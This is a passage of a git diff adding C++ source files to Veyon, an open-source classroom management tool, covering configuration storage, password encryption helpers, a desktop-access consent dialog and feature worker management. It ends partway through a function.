100644 index 0000000..35f71b9 --- /dev/null +++ b/core/src/Configuration/Object.cpp @@ -0,0 +1,357 @@ +/* + * ConfigurationObject.cpp - implementation of ConfigurationObject + * + * Copyright (c) 2009-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "Configuration/Object.h" +#include "Configuration/LocalStore.h" +#include "Configuration/JsonStore.h" + + +namespace Configuration +{ + + +Object::Object() : + m_store( nullptr ), + m_customStore( false ), + m_data() +{ +} + + + +Object::Object( Store::Backend backend, Store::Scope scope, const Object& defaults, const QString& storeName ) : + m_store( createStore( backend, scope ) ), + m_customStore( false ), + m_data( defaults.data() ) +{ + m_store->setName( storeName ); + + reloadFromStore(); +} + + + +Object::Object( Store* store ) : + m_store( store ), + m_customStore( true ), + m_data() +{ + reloadFromStore(); +} + + + +Object::Object( const Object& obj ) : + m_store( nullptr ), + m_customStore( false ) +{ + *this = obj; +} + + + +Object::~Object() +{ + if( m_customStore == false ) + { + delete m_store; + } +} + + + +Object& Object::operator=( const Object& ref ) +{ + if( m_customStore == false && + ref.m_customStore == false && + ref.m_store ) + { + const auto backend = ref.m_store->backend(); + const auto scope = ref.m_store->scope(); + + delete m_store; + + m_store = createStore( backend, scope ); + } + + m_data = ref.data(); + + return *this; +} + + + +// allow easy merging of two data maps - source is dominant over destination +static Object::DataMap operator+( Object::DataMap dst, Object::DataMap src ) +{ + for( auto it = src.begin(), end = src.end(); it != end; ++it ) + { + if( it.value().type() == QVariant::Map && dst.contains( it.key() ) ) + { + dst[it.key()] = dst[it.key()].toMap() + it.value().toMap(); + } + else + { + dst[it.key()] = it.value(); + } + } + return dst; +} + + + +Object& Object::operator+=( const Object& ref ) +{ + m_data = m_data + ref.data(); + + return *this; +} + + + +bool Object::hasValue( const QString& key, const QString& parentKey ) const +{ + // empty parentKey? + if( parentKey.isEmpty() ) + { + // search for key in toplevel data map + return m_data.contains( key ); + } + + // recursively search through data maps and sub data-maps until + // all levels of the parentKey are processed + const QStringList subLevels = parentKey.split( '/' ); + DataMap currentMap = m_data; + + for( const auto& level : subLevels ) + { + if( currentMap.contains( level ) && + currentMap[level].type() == QVariant::Map ) + { + currentMap = currentMap[level].toMap(); + } + else + { + return false; + } + } + + // ok, we're there - does the current submap then contain our key? + return currentMap.contains( key ); +} + + + + +QVariant Object::value( const QString& key, const QString& parentKey ) const +{ + // empty parentKey? + if( parentKey.isEmpty() ) + { + // search for key in toplevel data map + if( m_data.contains( key ) ) + { + return m_data[key]; + } + return QVariant(); + } + + // recursively search through data maps and sub data-maps until + // all levels of the parentKey are processed + const QStringList subLevels = parentKey.split( '/' ); + DataMap currentMap = m_data; + for( const auto& level : subLevels ) + { + if( currentMap.contains( level ) && + currentMap[level].type() == QVariant::Map ) + { + currentMap = currentMap[level].toMap(); + } + else + { + return QVariant(); + } + } + + // ok, we're there - does the current submap then contain our key? + if( currentMap.contains( key ) ) + { + return currentMap[key]; + } + return QVariant(); +} + + + + +static Object::DataMap setValueRecursive( Object::DataMap data, + QStringList subLevels, + const QString& key, + const QVariant& value ) +{ + if( subLevels.isEmpty() ) + { + // search for key in toplevel data map + if( !data.contains( key ) || data[key].type() != QVariant::Map ) + { + data[key] = value; + } + else + { + qWarning( "cannot replace sub data map with a value!" ); + } + + return data; + } + + const QString level = subLevels.takeFirst(); + if( data.contains( level ) ) + { + if( data[level].type() != QVariant::Map ) + { + qWarning( "parent key points doesn't point to a data map!" ); + return data; + } + } + else + { + data[level] = Object::DataMap(); + } + + data[level] = setValueRecursive( data[level].toMap(), subLevels, key, value ); + + return data; +} + + + + +void Object::setValue( const QString& key, const QVariant& value, const QString& parentKey ) +{ + // recursively search through data maps and sub data-maps until + // all levels of the parentKey are processed + QStringList subLevels = parentKey.split( '/' ); + DataMap data = setValueRecursive( m_data, subLevels, key, value ); + + if( data != m_data ) + { + m_data = data; + emit configurationChanged(); + } +} + + + + +static Object::DataMap removeValueRecursive( Object::DataMap data, + QStringList subLevels, + const QString& key ) +{ + if( subLevels.isEmpty() ) + { + // search for key in toplevel data map + if( data.contains( key ) ) + { + data.remove( key ); + } + + return data; + } + + const QString level = subLevels.takeFirst(); + if( data.contains( level ) && data[level].type() == QVariant::Map ) + { + data[level] = removeValueRecursive( data[level].toMap(), subLevels, key ); + } + + return data; +} + + + + + +void Object::removeValue( const QString& key, const QString& parentKey ) +{ + QStringList subLevels = parentKey.split( '/' ); + DataMap data = removeValueRecursive( m_data, subLevels, key ); + if( data != m_data ) + { + m_data = data; + emit configurationChanged(); + } +} + + + + +static void addSubObjectRecursive( const Object::DataMap& dataMap, + Object* _this, + const QString& parentKey ) +{ + for( auto it = dataMap.begin(), end = dataMap.end(); it != end; ++it ) + { + if( it.value().type() == QVariant::Map ) + { + auto newParentKey = it.key(); + if( parentKey.isEmpty() == false ) + { + newParentKey = parentKey + "/" + newParentKey; + } + addSubObjectRecursive( it.value().toMap(), _this, newParentKey ); + } + else + { + _this->setValue( it.key(), it.value(), parentKey ); + } + } +} + + + +void Object::addSubObject( Object* obj, const QString& parentKey ) +{ + addSubObjectRecursive( obj->data(), this, parentKey ); +} + + + +Store* Object::createStore( Store::Backend backend, Store::Scope scope ) +{ + switch( backend ) + { + case Store::LocalBackend: return new LocalStore( scope ); + case Store::JsonFile: return new JsonStore( scope ); + case Store::NoBackend: + break; + default: + qCritical() << Q_FUNC_INFO << "invalid store" << backend << "selected"; + break; + } + + return nullptr; +} + + +} diff --git a/core/src/ConfigurationManager.cpp b/core/src/ConfigurationManager.cpp new file mode 100644 index 0000000..c4b10b9 --- /dev/null +++ b/core/src/ConfigurationManager.cpp @@ -0,0 +1,103 @@ +/* + * ConfigurationManager.cpp - class for managing Veyon's configuration + * + * Copyright (c) 2010-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "Configuration/LocalStore.h" +#include "ConfigurationManager.h" +#include "Filesystem.h" +#include "PlatformInputDeviceFunctions.h" +#include "PlatformNetworkFunctions.h" +#include "VeyonConfiguration.h" +#include "VeyonServiceControl.h" + + + +ConfigurationManager::ConfigurationManager( QObject* parent ) : + QObject( parent ), + m_configuration( VeyonCore::config() ) +{ +} + + + +bool ConfigurationManager::clearConfiguration() +{ + Configuration::LocalStore( Configuration::LocalStore::System ).clear(); + + return true; +} + + + +bool ConfigurationManager::applyConfiguration() +{ + // update Veyon Service configuration + if( VeyonServiceControl().setAutostart( m_configuration.autostartService() ) == false ) + { + m_errorString = tr( "Could not modify the autostart property for the %1 Service." ).arg( VeyonCore::applicationName() ); + return false; + } + + auto& network = VeyonCore::platform().networkFunctions(); + + if( network.configureFirewallException( VeyonCore::filesystem().serverFilePath(), + QStringLiteral("Veyon Server"), + m_configuration.isFirewallExceptionEnabled() ) == false ) + { + m_errorString = tr( "Could not configure the firewall configuration for the %1 Server." ).arg( VeyonCore::applicationName() ); + return false; + } + + if( network.configureFirewallException( VeyonCore::filesystem().workerFilePath(), + QStringLiteral("Veyon Worker"), + m_configuration.isFirewallExceptionEnabled() ) == false ) + { + m_errorString = tr( "Could not configure the firewall configuration for the %1 Worker." ).arg( VeyonCore::applicationName() ); + return false; + } + + if( VeyonCore::platform().inputDeviceFunctions().configureSoftwareSAS( VeyonCore::config().isSoftwareSASEnabled() ) == false ) + { + m_errorString = tr( "Could not change the setting for SAS generation by software. " + "Sending Ctrl+Alt+Del via remote control will not work!" ); + return false; + } + + return true; +} + + + +bool ConfigurationManager::saveConfiguration() +{ + // write global configuration + Configuration::LocalStore localStore( Configuration::LocalStore::System ); + if( localStore.isWritable() == false ) + { + m_errorString = tr( "Configuration is not writable. Please check your permissions!" ); + return false; + } + + localStore.flush( &m_configuration ); + return true; +} diff --git a/core/src/ConfigurationPage.cpp b/core/src/ConfigurationPage.cpp new file mode 100644 index 0000000..158b9d6 --- /dev/null +++ b/core/src/ConfigurationPage.cpp @@ -0,0 +1,37 @@ +/* + * ConfigurationPage.cpp - implementation of configuration page base class + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "ConfigurationPage.h" + +ConfigurationPage::ConfigurationPage( QWidget* parent ) : + QWidget( parent ) +{ +} + + + +ConfigurationPage::~ConfigurationPage() +{ +} + diff --git a/core/src/CryptoCore.cpp b/core/src/CryptoCore.cpp new file mode 100644 index 0000000..43216b7 --- /dev/null +++ b/core/src/CryptoCore.cpp @@ -0,0 +1,96 @@ +/* + * CryptoCore.cpp - core functions for crypto features + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "CryptoCore.h" + +CryptoCore::CryptoCore() : + m_qcaInitializer(), + m_defaultPrivateKey() +{ + const auto features = QCA::supportedFeatures(); + + qDebug() << "CryptoCore instance created - features supported by QCA" << qcaVersionStr() << features; + + if( features.contains( QStringLiteral( "rsa" ) ) == false ) + { + qFatal( "CryptoCore: RSA not supported! Please install a QCA plugin which provides RSA support " + "(e.g. packages such as libqca-qt5-2-plugins or qca-qt5-ossl)." ); + } + + m_defaultPrivateKey = PrivateKey::fromPEMFile( QStringLiteral(":/resources/default-pkey.pem") ); +} + + + +CryptoCore::~CryptoCore() +{ + qDebug( "CryptoCore instance destroyed" ); +} + + + +QByteArray CryptoCore::generateChallenge() +{ + BIGNUM * challengeBigNum = BN_new(); + + if( challengeBigNum == nullptr ) + { + qCritical( "CryptoCore::generateChallenge(): BN_new() failed" ); + return QByteArray(); + } + + // generate a random challenge + BN_rand( challengeBigNum, ChallengeSize * 8, 0, 0 ); + QByteArray chall( BN_num_bytes( challengeBigNum ), 0 ); + BN_bn2bin( challengeBigNum, reinterpret_cast( chall.data() ) ); + BN_free( challengeBigNum ); + + return chall; +} + + + +QString CryptoCore::encryptPassword( const QString& password ) const +{ + return m_defaultPrivateKey.toPublicKey().encrypt( password.toUtf8(), DefaultEncryptionAlgorithm ).toByteArray().toHex(); +} + + + +QString CryptoCore::decryptPassword( const QString& encryptedPassword ) const +{ + SecureArray decryptedPassword; + + if( PrivateKey( m_defaultPrivateKey ).decrypt( QByteArray::fromHex( encryptedPassword.toUtf8() ), + &decryptedPassword, DefaultEncryptionAlgorithm ) ) + { + return decryptedPassword.toByteArray(); + } + + qCritical("CryptoCore: failed to decrypt password!" ); + + return QString(); +} diff --git a/core/src/DesktopAccessDialog.cpp b/core/src/DesktopAccessDialog.cpp new file mode 100644 index 0000000..4680555 --- /dev/null +++ b/core/src/DesktopAccessDialog.cpp @@ -0,0 +1,157 @@ +/* + * DesktopAccessDialog.cpp - implementation of DesktopAccessDialog class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "DesktopAccessDialog.h" +#include "FeatureWorkerManager.h" +#include "PlatformCoreFunctions.h" +#include "VeyonServerInterface.h" + + +DesktopAccessDialog::DesktopAccessDialog( QObject* parent ) : + QObject( parent ), + m_desktopAccessDialogFeature( Feature( Feature::Dialog | Feature::Service | Feature::Worker | Feature::Builtin, + Feature::Uid( "3dd8ec3e-7004-4936-8f2a-70699b9819be" ), + Feature::Uid(), + tr( "Desktop access dialog" ), QString(), QString() ) ), + m_features( { m_desktopAccessDialogFeature } ), + m_choice( ChoiceNone ), + m_abortTimer( this ) +{ + m_abortTimer.setSingleShot( true ); +} + + + +bool DesktopAccessDialog::isBusy( FeatureWorkerManager* featureWorkerManager ) const +{ + return featureWorkerManager->isWorkerRunning( m_desktopAccessDialogFeature ); +} + + + +void DesktopAccessDialog::exec( FeatureWorkerManager* featureWorkerManager, const QString& user, const QString& host ) +{ + featureWorkerManager->startWorker( m_desktopAccessDialogFeature, FeatureWorkerManager::ManagedSystemProcess ); + + m_choice = ChoiceNone; + + featureWorkerManager->sendMessage( FeatureMessage( m_desktopAccessDialogFeature.uid(), RequestDesktopAccess ). + addArgument( UserArgument, user ). + addArgument( HostArgument, host ) ); + + connect( &m_abortTimer, &QTimer::timeout, this, [=]() { abort( featureWorkerManager ); } ); + m_abortTimer.start( DialogTimeout ); +} + + + +void DesktopAccessDialog::abort( FeatureWorkerManager* featureWorkerManager ) +{ + featureWorkerManager->stopWorker( m_desktopAccessDialogFeature ); + + m_choice = ChoiceNone; + + emit finished(); +} + + + +bool DesktopAccessDialog::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + if( m_desktopAccessDialogFeature.uid() == message.featureUid() && + message.command() == ReportDesktopAccessChoice ) + { + m_choice = static_cast( message.argument( ChoiceArgument ).toInt() ); + + server.featureWorkerManager().stopWorker( m_desktopAccessDialogFeature ); + + m_abortTimer.stop(); + + emit finished(); + + return true; + } + + return false; +} + + + +bool DesktopAccessDialog::handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) +{ + Q_UNUSED(worker); + + if( message.featureUid() != m_desktopAccessDialogFeature.uid() || + message.command() != RequestDesktopAccess ) + { + return false; + } + + int result = requestDesktopAccess( message.argument( UserArgument ).toString(), + message.argument( HostArgument ).toString() ); + + return FeatureMessage( m_desktopAccessDialogFeature.uid(), ReportDesktopAccessChoice ). + addArgument( ChoiceArgument, result ). + send( message.ioDevice() ); +} + + + +DesktopAccessDialog::Choice DesktopAccessDialog::requestDesktopAccess( const QString& user, const QString& host ) +{ + QMessageBox m( QMessageBox::Question, + tr( "Confirm desktop access" ), + tr( "The user %1 at computer %2 wants to access your desktop. Do you want to grant access?" ). + arg( user, host ), QMessageBox::Yes | QMessageBox::No ); + + auto neverBtn = m.addButton( tr( "Never for this session" ), QMessageBox::NoRole ); + auto alwaysBtn = m.addButton( tr( "Always for this session" ), QMessageBox::YesRole ); + + m.setEscapeButton( m.button( QMessageBox::No ) ); + m.setDefaultButton( neverBtn ); + + VeyonCore::platform().coreFunctions().raiseWindow( &m ); + + const auto result = m.exec(); + + if( m.clickedButton() == neverBtn ) + { + return ChoiceNever; + } + else if( m.clickedButton() == alwaysBtn ) + { + return ChoiceAlways; + } + else if( result == QMessageBox::Yes ) + { + return ChoiceYes; + } + + return ChoiceNo; +} diff --git a/core/src/FeatureControl.cpp b/core/src/FeatureControl.cpp new file mode 100644 index 0000000..f595515 --- /dev/null +++ b/core/src/FeatureControl.cpp @@ -0,0 +1,85 @@ +/* + * FeatureControl.cpp - implementation of FeatureControl class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "FeatureControl.h" +#include "FeatureWorkerManager.h" +#include "VeyonCore.h" +#include "VeyonServerInterface.h" + + +FeatureControl::FeatureControl( QObject* parent ) : + QObject( parent ), + m_featureControlFeature( Feature( Feature::Service | Feature::Worker | Feature::Builtin, + Feature::Uid( "a0a96fba-425d-414a-aaf4-352b76d7c4f3" ), + Feature::Uid(), + tr( "Feature control" ), QString(), QString() ) ), + m_features( { m_featureControlFeature } ) +{ +} + + + +FeatureControl::~FeatureControl() +{ +} + + + +bool FeatureControl::queryActiveFeatures( const ComputerControlInterfaceList& computerControlInterfaces ) +{ + return sendFeatureMessage( FeatureMessage( m_featureControlFeature.uid(), QueryActiveFeatures ), + computerControlInterfaces ); +} + + + +bool FeatureControl::handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) +{ + Q_UNUSED(master); + + if( message.featureUid() == m_featureControlFeature.uid() ) + { + computerControlInterface->setActiveFeatures( message.argument( ActiveFeatureList ).toStringList() ); + + return true; + } + + return false; +} + + + +bool FeatureControl::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + if( m_featureControlFeature.uid() == message.featureUid() ) + { + FeatureMessage reply( message.featureUid(), message.command() ); + reply.addArgument( ActiveFeatureList, server.featureWorkerManager().runningWorkers() ); + + return server.sendFeatureMessageReply( message, reply ); + } + + return false; +} diff --git a/core/src/FeatureManager.cpp b/core/src/FeatureManager.cpp new file mode 100644 index 0000000..1afa446 --- /dev/null +++ b/core/src/FeatureManager.cpp @@ -0,0 +1,234 @@ +/* + * FeatureManager.cpp - implementation of the FeatureManager class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include + +#include "FeatureManager.h" +#include "FeatureMessage.h" +#include "PluginInterface.h" +#include "PluginManager.h" +#include "VeyonConfiguration.h" + +Q_DECLARE_METATYPE(Feature) +Q_DECLARE_METATYPE(FeatureMessage) + +// clazy:excludeall=reserve-candidates + +FeatureManager::FeatureManager( QObject* parent ) : + QObject( parent ), + m_features(), + m_emptyFeatureList(), + m_pluginObjects(), + m_dummyFeature() +{ + qRegisterMetaType(); + qRegisterMetaType(); + + for( const auto& pluginObject : qAsConst( VeyonCore::pluginManager().pluginObjects() ) ) + { + auto featurePluginInterface = qobject_cast( pluginObject ); + + if( featurePluginInterface ) + { + m_pluginObjects += pluginObject; + m_featurePluginInterfaces += featurePluginInterface; + + m_features += featurePluginInterface->featureList(); + } + } + +} + + + +const FeatureList& FeatureManager::features( Plugin::Uid pluginUid ) const +{ + for( auto pluginObject : m_pluginObjects ) + { + auto pluginInterface = qobject_cast( pluginObject ); + auto featurePluginInterface = qobject_cast( pluginObject ); + + if( pluginInterface && featurePluginInterface && pluginInterface->uid() == pluginUid ) + { + return featurePluginInterface->featureList(); + } + } + + return m_emptyFeatureList; +} + + + +const Feature& FeatureManager::feature( Feature::Uid featureUid ) const +{ + for( const auto& featureInterface : m_featurePluginInterfaces ) + { + for( const auto& feature : featureInterface->featureList() ) + { + if( feature.uid() == featureUid ) + { + return feature; + } + } + } + + return m_dummyFeature; +} + + + +Plugin::Uid FeatureManager::pluginUid( const Feature& feature ) const +{ + for( auto pluginObject : m_pluginObjects ) + { + auto pluginInterface = qobject_cast( pluginObject ); + auto featurePluginInterface = qobject_cast( pluginObject ); + + if( pluginInterface && featurePluginInterface && + featurePluginInterface->featureList().contains( feature ) ) + { + return pluginInterface->uid(); + } + } + + return Plugin::Uid(); +} + + + +void FeatureManager::startFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + qDebug() << Q_FUNC_INFO << "feature" << feature.displayName() << feature.uid() << computerControlInterfaces; + + for( auto featureInterface : qAsConst( m_featurePluginInterfaces ) ) + { + featureInterface->startFeature( master, feature, computerControlInterfaces ); + } + + if( feature.testFlag( Feature::Mode ) ) + { + for( const auto& controlInterface : computerControlInterfaces ) + { + controlInterface->setDesignatedModeFeature( feature.uid() ); + } + } +} + + + +void FeatureManager::stopFeature( VeyonMasterInterface& master, + const Feature& feature, + const ComputerControlInterfaceList& computerControlInterfaces ) +{ + qDebug() << Q_FUNC_INFO << "feature" << feature.displayName() << feature.uid() << computerControlInterfaces; + + for( const auto& featureInterface : qAsConst( m_featurePluginInterfaces ) ) + { + featureInterface->stopFeature( master, feature, computerControlInterfaces ); + } + + for( const auto& controlInterface : computerControlInterfaces ) + { + if( controlInterface->designatedModeFeature() == feature.uid() ) + { + controlInterface->setDesignatedModeFeature( Feature::Uid() ); + } + } +} + + + +bool FeatureManager::handleFeatureMessage( VeyonMasterInterface& master, const FeatureMessage& message, + ComputerControlInterface::Pointer computerControlInterface ) +{ + qDebug() << Q_FUNC_INFO + << "feature" << message.featureUid() + << "command" << message.command() + << "arguments" << message.arguments(); + + bool handled = false; + + for( const auto& featureInterface : qAsConst( m_featurePluginInterfaces ) ) + { + if( featureInterface->handleFeatureMessage( master, message, computerControlInterface ) ) + { + handled = true; + } + } + + return handled; +} + + + +bool FeatureManager::handleFeatureMessage( VeyonServerInterface& server, const FeatureMessage& message ) +{ + qDebug() << Q_FUNC_INFO + << "feature" << message.featureUid() + << "command" << message.command() + << "arguments" << message.arguments(); + + if( VeyonCore::config().disabledFeatures().contains( message.featureUid().toString() ) ) + { + qWarning() << Q_FUNC_INFO << " ignoring message as feature" + << message.featureUid() << "is disabled by configuration!"; + return false; + } + + bool handled = false; + + for( const auto& featureInterface : qAsConst( m_featurePluginInterfaces ) ) + { + if( featureInterface->handleFeatureMessage( server, message ) ) + { + handled = true; + } + } + + return handled; +} + + + +bool FeatureManager::handleFeatureMessage( VeyonWorkerInterface& worker, const FeatureMessage& message ) +{ + qDebug() << Q_FUNC_INFO + << "feature" << message.featureUid() + << "command" << message.command() + << "arguments" << message.arguments(); + + bool handled = false; + + for( const auto& featureInterface : qAsConst( m_featurePluginInterfaces ) ) + { + if( featureInterface->handleFeatureMessage( worker, message ) ) + { + handled = true; + } + } + + return handled; +} diff --git a/core/src/FeatureMessage.cpp b/core/src/FeatureMessage.cpp new file mode 100644 index 0000000..610710a --- /dev/null +++ b/core/src/FeatureMessage.cpp @@ -0,0 +1,91 @@ +/* + * FeatureMessage.cpp - implementation of a message encapsulation class for features + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "FeatureMessage.h" +#include "VariantArrayMessage.h" + + +bool FeatureMessage::send() +{ + return send( m_ioDevice ); +} + + + +bool FeatureMessage::send( QIODevice* ioDevice ) const +{ + if( ioDevice ) + { + VariantArrayMessage message( ioDevice ); + + message.write( m_featureUid ); + message.write( m_command ); + message.write( m_arguments ); + + return message.send(); + } + + qCritical( "FeatureMessage::send(): no IO device!" ); + + return false; +} + + + +bool FeatureMessage::isReadyForReceive() +{ + return m_ioDevice != nullptr && + VariantArrayMessage( m_ioDevice ).isReadyForReceive(); +} + + + +bool FeatureMessage::receive() +{ + if( m_ioDevice ) + { + VariantArrayMessage message( m_ioDevice ); + + if( message.receive() ) + { + m_featureUid = message.read().toUuid(); // Flawfinder: ignore +#if QT_VERSION < 0x050600 +#warning Building legacy compat code for unsupported version of Qt + m_command = static_cast( message.read().toInt() ); // Flawfinder: ignore +#else + m_command = message.read().value(); // Flawfinder: ignore +#endif + m_arguments = message.read().toMap(); // Flawfinder: ignore + return true; + } + + qWarning( "FeatureMessage::receive(): could not receive message!" ); + } + else + { + qCritical( "FeatureMessage::receive(): no IO device!" ); + } + + return false; +} diff --git a/core/src/FeatureWorkerManager.cpp b/core/src/FeatureWorkerManager.cpp new file mode 100644 index 0000000..db51795 --- /dev/null +++ b/core/src/FeatureWorkerManager.cpp @@ -0,0 +1,288 @@ +/* + * FeatureWorkerManager.cpp - class for managing feature worker instances + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include +#include +#include +#include + +#include "FeatureManager.h" +#include "FeatureWorkerManager.h" +#include "Filesystem.h" +#include "VeyonConfiguration.h" +#include "VeyonCore.h" +#include "PlatformCoreFunctions.h" +#include "PlatformUserFunctions.h" + +// clazy:excludeall=detaching-member + +FeatureWorkerManager::FeatureWorkerManager( VeyonServerInterface& server, FeatureManager& featureManager, QObject* parent ) : + QObject( parent ), + m_server( server ), + m_featureManager( featureManager ), + m_tcpServer( this ) +{ + connect( &m_tcpServer, &QTcpServer::newConnection, + this, &FeatureWorkerManager::acceptConnection ); + + if( !m_tcpServer.listen( QHostAddress::LocalHost, + static_cast( VeyonCore::config().featureWorkerManagerPort() + VeyonCore::sessionId() ) ) ) + { + qCritical( "FeatureWorkerManager: can't listen on localhost!" ); + } + + auto pendingMessagesTimer = new QTimer( this ); + connect( pendingMessagesTimer, &QTimer::timeout, this, &FeatureWorkerManager::sendPendingMessages ); + + pendingMessagesTimer->start( 100 ); +} + + + +FeatureWorkerManager::~FeatureWorkerManager() +{ + m_tcpServer.close(); + + // properly shutdown all worker processes + while( m_workers.isEmpty() == false ) + { + stopWorker( m_workers.firstKey() ); + } +} + + + +void FeatureWorkerManager::startWorker( const Feature& feature, WorkerProcessMode workerProcessMode ) +{ + if( thread() != QThread::currentThread() ) + { + QMetaObject::invokeMethod( this, "startWorker", Qt::BlockingQueuedConnection, + Q_ARG( Feature, feature ) ); + return; + } + + stopWorker( feature ); + + const auto featureUid = feature.uid().toString(); + + Worker worker; + + if( workerProcessMode == ManagedSystemProcess ) + { + worker.process = new QProcess; + worker.process->setProcessChannelMode( QProcess::ForwardedChannels ); + + connect( worker.process, static_cast(&QProcess::finished), + worker.process, &QProcess::deleteLater ); + + qDebug() << "Starting worker (managed system process) for feature" << feature.displayName() << featureUid; + worker.process->start( VeyonCore::filesystem().workerFilePath(), { featureUid } ); + } + else + { + qDebug() << "Starting worker (unmanaged session process) for feature" << feature.displayName() << featureUid; + VeyonCore::platform().coreFunctions().runProgramAsUser( VeyonCore::filesystem().workerFilePath(), { featureUid }, + VeyonCore::platform().userFunctions().currentUser(), + VeyonCore::platform().coreFunctions().activeDesktopName() ); + } + + m_workersMutex.lock(); + m_workers[feature.uid()] = worker; + m_workersMutex.unlock(); +} + + + +void FeatureWorkerManager::stopWorker( const Feature &feature ) +{ + if( thread() != QThread::currentThread() ) + { + QMetaObject::invokeMethod( this, "stopWorker", Qt::BlockingQueuedConnection, + Q_ARG( Feature, feature ) ); + return; + } + + m_workersMutex.lock(); + + if( m_workers.contains( feature.uid() ) ) + { + qDebug() << "Stopping worker for feature" << feature.displayName() << feature.uid(); + + auto& worker = 